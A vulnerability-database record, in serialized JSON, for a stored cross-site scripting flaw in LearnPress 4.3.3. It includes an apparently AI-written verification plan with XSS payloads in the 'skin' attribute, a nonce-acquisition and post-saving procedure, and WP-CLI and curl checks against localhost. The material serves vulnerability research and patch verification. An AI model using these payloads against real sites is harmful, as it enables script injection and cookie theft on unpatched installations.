[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fFvmxTm42P2tfmA2EGgVGhmga3SuZfbFz-npma3X0QCc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-4333","learnpress-authenticated-contributor-stored-cross-site-scripting-via-skin-shortcode-attribute","LearnPress \u003C= 4.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'skin' Shortcode Attribute","The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'skin' attribute of the learn_press_courses shortcode in all versions up to and including 4.3.3. This is due to insufficient input sanitization and output escaping on the 'skin' shortcode attribute. The attribute value is used directly in an sprintf() call that generates HTML (class attribute and data-layout attribute) without any esc_attr() escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","learnpress",null,"\u003C=4.3.3","4.3.4","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-07 15:19:06","2026-04-08 03:36:07",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F15fb0a26-e415-4ccb-b83d-d8f7b36bce66?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fadmin\u002Fadmin-rtl.css","assets\u002Fcss\u002Fadmin\u002Fadmin-rtl.min.css","assets\u002Fcss\u002Fadmin\u002Fadmin.css","assets\u002Fcss\u002Fadmin\u002Fadmin.min.css","assets\u002Fcss\u002Flearnpress-rtl.css","assets\u002Fcss\u002Flearnpress-rtl.min.css","assets\u002Fcss\u002Flearnpress.css","assets\u002Fcss\u002Flearnpress.min.css","researched",false,3,"This research plan outlines the steps to verify a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress plugin via the `skin` attribute of the `learn_press_courses` shortcode.\n\n### 1. Vulnerability Summary\nThe `learn_press_courses` shortcode in LearnPress \u003C= 4.3.3 processes a `skin` attribute that is used to define the visual layout of the courses list. The plugin fails to sanitize or escape this attribute before including it in an `sprintf()` call that constructs the container HTML. Specifically, the value is injected into the `class` and `data-layout` attributes of a `div` element. Because shortcodes can be used by any user with `edit_posts` capability (Contributor level and above), an attacker can inject malicious HTML\u002FJavaScript that will execute in the context of any user viewing the page.\n\n### 2. Attack Vector Analysis\n*   **Shortcode:** `[learn_press_courses]`\n*   **Vulnerable Attribute:** `skin`\n*   **Authentication Level:** Contributor or higher.\n*   **Storage Mechanism:** Post\u002FPage content (WP Database).\n*   **Execution Point:** Frontend rendering of the post\u002Fpage containing the shortcode.\n*   **Sink:** An `sprintf()` call likely within the shortcode's rendering class or template.\n\n### 3. Code Flow (Inferred)\nSince the provided source files are only CSS, the following flow is inferred based on LearnPress 4.x architecture and the vulnerability description:\n\n1.  **Entry Point:** A user with Contributor+ privileges saves a post containing: `[learn_press_courses skin='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`.\n2.  **Shortcode Registration:** The plugin registers the shortcode (likely in `inc\u002Fclass-lp-shortcodes.php`) using `add_shortcode( 'learn_press_courses', ... )`.\n3.  **Shortcode Processing:** When the post is viewed, WordPress calls the shortcode handler (likely `LP_Shortcode_Courses::render()` or similar in `inc\u002Fshortcodes\u002Fclass-lp-shortcode-courses.php`).\n4.  **Attribute Extraction:** The `$atts` array is parsed. The `skin` attribute is extracted without sanitization (no `sanitize_text_field` or `preg_replace`).\n5.  **Vulnerable Sink:** The code uses `sprintf()` to generate HTML:\n    ```php\n    \u002F\u002F Inferred vulnerable logic\n    $skin = $atts['skin'] ?? 'default';\n    $html = sprintf( '\u003Cdiv class=\"lp-courses %s\" data-layout=\"%s\">', $skin, $skin ); \n    echo $html;\n    ```\n6.  **Output:** The unescaped `skin` value breaks out of the `class` attribute, injecting a new tag into the DOM.\n\n### 4. Nonce Acquisition Strategy\nThis vulnerability involves **Stored XSS** within a shortcode. Nonces are generally not required to *trigger* the XSS during page viewing. However, a nonce is required to **save the post** as a Contributor.\n\n*   **Action for saving post:** `editpost`\n*   **Nonce variable:** `_wpnonce`\n*   **Acquisition:** \n    1.  Login as a Contributor.\n    2.  Navigate to the Post Editor (`wp-admin\u002Fpost-new.php`).\n    3.  Extract the nonce from the `#_wpnonce` hidden input field or the `wp-admin` heartbeats.\n    4.  Alternatively, use WP-CLI to create the post directly, which bypasses the need for manual nonce handling during the \"storage\" phase.\n\n### 5. Exploitation Strategy\nThe goal is to store a payload that executes when an administrator views the post.\n\n**Step 1: Authenticate as Contributor**\nLogin to the WordPress instance with contributor-level credentials.\n\n**Step 2: Create a Post with the Malicious Shortcode**\nUse the `http_request` tool to simulate saving a post.\n\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php` (for existing post) or `post-new.php`\n*   **Method:** `POST`\n*   **Parameters:**\n    *   `action`: `editpost`\n    *   `post_ID`: (The ID of the post being edited)\n    *   `post_content`: `[learn_press_courses skin='\">\u003Cscript>alert(\"XSS\")\u003C\u002Fscript>']`\n    *   `_wpnonce`: (Acquired from the editor page)\n    *   `post_status`: `publish` (or `pending` if contributor)\n\n*Note: It is more efficient to use WP-CLI to create the data if the environment allows it.*\n\n**Step 3: Access the Post**\nAs an administrator (or any user), navigate to the URL of the created post.\n\n**Step 4: Verify Execution**\nThe browser should execute `alert(\"XSS\")`.\n\n### 6. Test Data Setup\n1.  **User:** Create a user with the `contributor` role.\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n    ```\n2.  **Course Content:** LearnPress shortcodes often require at least one course to exist to render the container.\n    ```bash\n    wp post create --post_type=lp_course --post_title=\"Test Course\" --post_status=publish\n    ```\n\n### 7. Expected Results\nThe HTML source code of the rendered page should contain:\n```html\n\u003Cdiv class=\"lp-courses \">\u003Cscript>alert(\"XSS\")\u003C\u002Fscript>\" data-layout=\"\">\u003Cscript>alert(\"XSS\")\u003C\u002Fscript>\">\n```\nThe browser will parse the `\">\u003Cscript>...` part, resulting in the script executing immediately.\n\n### 8. Verification Steps\nAfter the `http_request` is sent, verify the content via WP-CLI:\n```bash\n# Check if the shortcode was stored correctly\nwp post get [POST_ID] --field=post_content\n\n# Check the frontend output\ncurl -s http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID] | grep -C 5 \"alert(\\\"XSS\\\")\"\n```\n\n### 9. Alternative Approaches\nIf the `sprintf` is used inside a JSON-localized variable rather than direct HTML:\n1.  **Payload:** `skin='test\"}]};alert(1);\u002F*'`\n2.  **Reasoning:** This would attempt to break out of a JSON structure in a script tag if the `skin` attribute was passed to `wp_localize_script` improperly.\n\nIf the shortcode requires courses to be present to execute the vulnerable line:\n1.  Ensure at least one published course exists.\n2.  Add `limit='1'` to the shortcode to ensure processing occurs quickly.\n3.  Payload: `[learn_press_courses skin='\">\u003Cimg src=x onerror=alert(document.cookie)>' limit='1']` (using `img` tag as a fallback for `script` filters).","gemini-3-flash-preview","2026-04-17 20:47:15","2026-04-17 20:47:38",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","4.3.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags\u002F4.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress.4.3.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags\u002F4.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Flearnpress.4.3.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Flearnpress\u002Ftags"]